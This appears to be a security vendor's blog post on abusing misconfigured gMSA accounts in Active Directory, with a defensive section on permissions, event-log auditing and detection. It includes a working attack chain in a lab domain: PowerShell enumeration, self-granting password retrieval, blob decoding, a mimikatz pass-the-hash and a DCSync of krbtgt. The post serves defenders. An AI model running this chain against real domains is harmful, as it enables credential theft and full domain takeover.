Abusing gMSA Passwords to Gain Elevated Access
If you’re not familiar with Group Managed Service Accounts (gMSA), you can review my last post which gave a high-level overview of how they work. In case you need a quick recap, a gMSA is a special Active Directory object used for securely running automated tasks, services and applications. The most important thing to note about these accounts, which plays into to their increased security, is the automatically generated and rotating password that no human has to know to make use of the account.
One other very important thing to note about gMSAs is all of their information is stored in Active Directory, and the password itself is stored in an attribute. Some of these attributes include information around who can query the password, how frequently the password rotates, the current and previous key IDs used for generating the passwords, and like I mentioned, the password itself.
Here are the specific attributes and a short description:
msDS-ManagedPassword – a BLOB with the password for group-managed service accounts
msDS-ManagedPasswordID – the key ID used to generate the current gMSA password
msDS-ManagedPasswordPreviousID – the key ID used to generate the previous gMSA password
msDS-GroupMSAMembership – the list of objects that have permission to query the password for the gMSA
msDS-ManagedPasswordInterval – the interval (days) in which the password is rotated for the gMSA.
Since the password information is stored in the msDS-ManagedPassword attribute you’ll definitely want to know who in your environment is able to query the password, which is set in the msDS-GroupMSAMembership attribute. It’s a little more complicated than just that attribute though, as Active Directory permissions do come into play. If for whatever reason a user or object is configured to have permissions to query the password via the msDS-GroupMSAMembership account, they still need to have ‘Read’ permissions to the gMSA itself, specifically the msDS-ManagedPassword attribute. This means there are two avenues to securing this password:
- Ensure only the necessary objects have the permission to query the password and exist in the msDS-GroupMSAMembership attribute
- Ensure that only administrative users that may need access and computer accounts where gMSAs are installed on have the permission to read the attribute. Also, ensure that only administrators have the capability to modify the gMSA and its attributes, so no one can add themselves to the msDS-GroupMSAMembership attribute.
Ideally, you’d lock down the gMSAs via both avenues to stop an attacker from even having the option to exploit either one of the scenarios above. Below I’ll show how mismanaged permissions or configurations on a gMSA can lead to compromise of the account and eventually privilege escalation or lateral movement.
Abusing a gMSA is relatively simple conceptually. Since they’re service accounts, they’re usually relatively privileged in some regard. If you’re able to get the password of the account, via a tool like Mimikatz or through querying it directly due to insecure configurations in Active Directory, you’ll usually be able to move laterally or escalate.
Setting the Stage
Imagine that I’ve compromised an account, whether that be through phishing, a pass the hash attack, or any other means that has led me onto the network on a Windows server with a seemingly non-privileged account named ‘notadmin’. This account has minimal privileges in Active Directory, but is a local administrator on the machine I’ve landed onto.
The first thing I’ll do, if my goal is to abuse a gMSA, is to try and find out if any exist. That’s very simple to accomplish if you have access to the Active Directory PowerShell cmdlets. Running a simple script gets me all the managed service accounts in Active Directory:
Get-ADServiceAccount -Filter *
With some slight modifications from the script, we can actually identify who has access to query the passwords of the gMSAs.
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword
As we can see, only the Kevin Joyce account is able to query the passwords for these service accounts:
We can narrow down the scope of the targets we want by checking to see if these service accounts are a member of any privileged groups, and from there we can dig deeper into the permissions set on one of the objects.
Get-ADServiceAccount -Filter * -Properties memberof
Looking at the results here, we can see that the gMSA service account is a member of Domain Admins, this will be the one we’ll try to exploit for sure.
Modifying a script I wrote for a previous blog on Microsoft LAPS, I was able to get a listing of all objects that had permissions over a managed services account that included Full Control, Write All Properties, or Write Property for the specific gMSA attribute. The output is below, and the script will be linked at the bottom.
We can see above, that the notadmin account actually has Full Control on the gMSA account. This gives us the capability to modify the msDS-GroupMSAMembership attribute, which will let us retrieve the password for the managed service account.
Set-ADServiceAccount -Identity gmsa -PrincipalsAllowedToRetrieveManagedPassword notadmin
Now that we’re actually able to query the password, let’s see what we can do with it.
Get-ADServiceAccount -Identity gmsa -properties msds-ManagedPassword
$pwd = Get-ADServiceAccount -identity gMSA -Properties msds-ManagedPassword
I mentioned above, that the value stored in the attribute itself is a BLOB containing the information for the password, not the password itself. We’ll actually have to decode the password using a tool like DSInternals.
$pw = ConvertFrom-ADManagedPasswordBlob $pwd.’msds-managedpassword’
You can see this gets us a SecureCurrentPassword and CurrentPassword, the CurrentPassword looks like nothing useful but that’s because all of the characters are UTF-16. The SecureCurrentPassword actually can be converted to a NTLM hash and used in a pass the hash attack with mimikatz to elevate our privileges.
To pass the hash I just need to run mimikatz and use this command:
sekurlsa::pth /user:gmsa /domain:sbpmlab.net /ntlm:a99afa608b79a3c539a969212c505ea9
Now that I have a shell being run as the gMSA service account, which was a member of domain administrators I can do whatever I please to compromise Active Directory. One of the quickest, but probably nosiest ways I can do that, is to execute a DCSync attack and steal the hash of the krbtgt account.
lsadump::dcsync /user:krbtgt /domain:sbpmlab.net
Protections & Monitoring
Now that I’ve shown you what could happen if you have insecure permissions on a gMSA or you’ve granted objects that don’t need to know the password of a gMSA the capability to query it, let’s talk about potential protections and mitigations you can put in place and monitoring you can have to detect if this were to occur in your environment.
The most obvious, and arguably the most important protection you can put in place to protect yourself from these scenarios would be to ensure proper permissions are set on the Group Managed Service Accounts. Understanding who has write access to these objects is pertinent to protecting them, someone who can add themselves to the attribute that controls who can query the password in theory already has access to take over this account and abuse its privileges. The next thing would be understanding exactly who has the capability to query the passwords on these accounts and knowing who needs access to query them. In reality, the only account that should be able to get the password for these gMSAs would be the computer account where the gMSA is installed on.
Native event logs aren’t always perfect, but can get the job done in a lot of instances. There fortunately is an event you can look for with native event logs that will help you identify who is querying the password of gMSA accounts throughout your environment. If you enable the ‘Audit directory service access’ policy for your domain and configure a SACL on the gMSAs you want to monitor, you can generate event logs when people query the msDS-ManagedPassword attribute.
Turning this setting on, and creating a SACL like I mentioned will generate an event log with event ID 4662 and it looks like this:
As you can see, this has logged that the ‘notadmin’ account read a property on the gMSA account. The properties read are the GUIDs stored in the schema for Active Directory, but using ADSI edit we can see that the GUID highlighted resolves to the msDS-ManagedPasssword attribute.
Assuming you may have some type of event log forwarding or a SIEM solution, these logs would be invaluable for determining who is accessing these attributes.
Another option, that doesn’t rely on native event logging, would be a tool like our StealthDEFEND platform. StealthDEFEND out of the box can detect gMSA password access and high-risk permissions assignments. The scenario I showed above generated a threat when the ‘notadmin’ account queried the password:
What’s great about a tool like StealthDEFEND is you can build a playbook that can execute when a threat like this is seen. The playbook can involve requiring the perpetrator account to respond to a MFA request, disabling the account, creating a ServiceNow incident etc.
gMSA Permissions code:
Kevin Joyce is a Senior Technical Product Manager at Stealthbits Technologies. He is responsible for building and delivering on the roadmap of Stealthbits products and solutions.
Kevin is passionate about cyber-security and holds a Bachelor of Science degree in Digital Forensics from Bloomsburg University of Pennsylvania.